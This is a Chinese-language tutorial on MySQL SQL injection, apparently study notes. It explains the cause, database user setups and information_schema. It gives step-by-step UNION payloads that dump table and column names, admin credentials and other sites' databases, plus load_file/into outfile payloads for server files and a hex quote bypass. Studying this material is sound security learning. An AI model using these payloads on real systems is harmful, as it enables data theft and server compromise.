文章目录
-
- [一、SQL 注入的本质原理](#一、SQL 注入的本质原理)
- [二、PHP -- MySQL -- Web 架构模型(核心前提)](#二、PHP – MySQL – Web 架构模型(核心前提))
-
- [1. MySQL 架构特点](#1. MySQL 架构特点)
- [2. 两种常见数据库管理方式](#2. 两种常见数据库管理方式)
-
- [① 数据库统一管理(❌ 不安全)](#① 数据库统一管理(❌ 不安全))
- [② 数据库一对一管理(✅ 推荐)](#② 数据库一对一管理(✅ 推荐))
- [三、MySQL 注入的第一目标:判断 Web 权限](#三、MySQL 注入的第一目标:判断 Web 权限)
- [四、MySQL 5.0+ 的核心:information_schema](#四、MySQL 5.0+ 的核心:information_schema)
-
- [information_schema 是什么?](#information_schema 是什么?)
- 关键表与字段
- [五、ORDER BY 探测字段数目的原理](#五、ORDER BY 探测字段数目的原理)
- [六、UNION 注入的完整流程(单库)](#六、UNION 注入的完整流程(单库))
-
- [1️⃣ 确定字段数](#1️⃣ 确定字段数)
- [2️⃣ 确定回显位](#2️⃣ 确定回显位)
- [3️⃣ 获取基础信息](#3️⃣ 获取基础信息)
- [4️⃣ 获取表名](#4️⃣ 获取表名)
- [5️⃣ 获取列名](#5️⃣ 获取列名)
- [6️⃣ 获取数据](#6️⃣ 获取数据)
- 七、跨库查询(高危行为)
- [八、MySQL 文件读写注入](#八、MySQL 文件读写注入)
- [九、Access 与 MySQL 注入的本质区别](#九、Access 与 MySQL 注入的本质区别)
- 十、关键结论总结(必背)
- 一句话总总结(非常重要)
一、SQL 注入的本质原理
SQL 注入产生的根本原因:
接收的参数值未经过过滤,直接拼接进 SQL 语句并被数据库执行
SQL 能干什么
= 注入就能干什么
= 由数据库类型决定(MySQL / Oracle / MSSQL)
二、PHP -- MySQL -- Web 架构模型(核心前提)
1. MySQL 架构特点
- MySQL 是服务器型数据库
- 一个 MySQL 服务器实例可以管理多个数据库
- 所有网站的数据库集中存储在 MySQL 中
2. 两种常见数据库管理方式
① 数据库统一管理(❌ 不安全)
MySQL
└── root 用户
├── zblog 数据库(网站A)
└── demo01 数据库(网站B)
配置示例:
www.zblog.com -> zblog -> root
www.demo01.com -> demo01 -> root
风险:
- 任意一个网站 SQL 注入成功
- user() = root
- 可跨库读取其他网站数据
② 数据库一对一管理(✅ 推荐)
MySQL
├── zblog 用户 -> zblog 数据库
└── demo 用户 -> demo01 数据库
配置示例:
www.zblog.com -> zblog -> zblog
www.demo01.com -> demo01 -> demo
效果:
- 非 root 用户
- 只能访问自己的数据库
- 无法跨库查询
三、MySQL 注入的第一目标:判断 Web 权限
必须先获取的四个关键信息
| 信息 | 函数 | 用途 |
|---|---|---|
| 数据库版本 | version() |
判断是否支持 information_schema |
| 当前用户 | user() |
判断是否 root |
| 当前数据库 | database() |
为后续猜表做准备 |
| 操作系统 | @@version_compile_os |
判断文件路径、大小写 |
示例:
union select 1,2,3,database(),user(),6
union select 1,2,3,version(),@@version_compile_os,6
四、MySQL 5.0+ 的核心:information_schema
information_schema 是什么?
MySQL 5.0 以上自带的"元数据库",存储所有库、表、列信息
关键表与字段
| 表 | 作用 | 关键字段 |
|---|---|---|
schemata |
存储数据库名 | schema_name |
tables |
存储表名 | table_schema, table_name |
columns |
存储列名 | table_schema, table_name, column_name |
五、ORDER BY 探测字段数目的原理
SQL 排序方式
order by username
order by 1
原理说明
order by 1表示按 第 1 列排序- 如果编号 ≤ 字段数 → 正常
- 如果编号 > 字段数 → 报错
探测逻辑
order by 1 ✓
order by 2 ✓
order by 6 ✓
order by 7 ✗ 报错
最大不报错值 = 字段数
六、UNION 注入的完整流程(单库)
1️⃣ 确定字段数
order by 6
2️⃣ 确定回显位
union select 1,2,3,4,5,6
3️⃣ 获取基础信息
union select 1,2,3,database(),user(),6
union select 1,2,3,version(),@@version_compile_os,6
4️⃣ 获取表名
union select 1,2,3,group_concat(table_name),5,6
from information_schema.tables
where table_schema='demo01'
5️⃣ 获取列名
union select 1,2,3,group_concat(column_name),5,6
from information_schema.columns
where table_schema='demo01' and table_name='admin'
6️⃣ 获取数据
union select 1,2,3,username,password,6 from admin
七、跨库查询(高危行为)
跨库成立的前提
当前数据库用户必须是 root
select user(); -- root@localhost
典型跨库流程
1️⃣ 获取所有数据库名
union select 1,2,3,group_concat(schema_name),5,6
from information_schema.schemata
2️⃣ 获取目标库表名
union select 1,2,3,group_concat(table_name
),5,6
from information_schema.tables
where table_schema='zblog'
3️⃣ 获取列名
union select 1,2,3,group_concat(column_name),5,6
from information_schema.columns
where table_schema='zblog' and table_name='zbp_member'
4️⃣ 查询数据(必须指定库名)
union select 1,2,3,mem_Name,mem_Password,6
from zblog.zbp_member
八、MySQL 文件读写注入
成功条件
- 数据库用户权限(root)
secure-file-priv未限制
读取文件(页面不显示,可从源代码查看)
union select 1,load_file('d:\\1.txt'),3,4,5,6
写入文件
union select 1,'xiaohan',3,4,5,6 into outfile 'd:\\2.txt'
路径获取方式
- SQL 报错信息
- phpinfo 页面
- 常见中间件默认路径
补充:文件的读写均需要输入绝对路径
九、Access 与 MySQL 注入的本质区别
Access
- 文件型数据库
- 无数据库用户概念
- 无 information_schema
- 依赖字典猜测表名、列名
- 字典不全 → 注入失败
MySQL
- 服务器型数据库
- 有数据库用户、权限体系
- information_schema 天然提供结构信息
- 更容易系统性枚举
十、关键结论总结(必背)
- SQL 注入能干什么,由数据库决定
- ORDER BY 利用的是列编号越界报错
- information_schema 是 MySQL 注入的核心
- 非 root 用户只能访问自己的数据库
- 跨库查询的前提是 root 用户
- 防御本质:数据库一对一用户管理
- 不用单引号可用 0x 十六进制绕过
一句话总总结(非常重要)
SQL 注入不是"猜数据",而是一步步获取信息、判断权限、选择最优攻击路径的过程。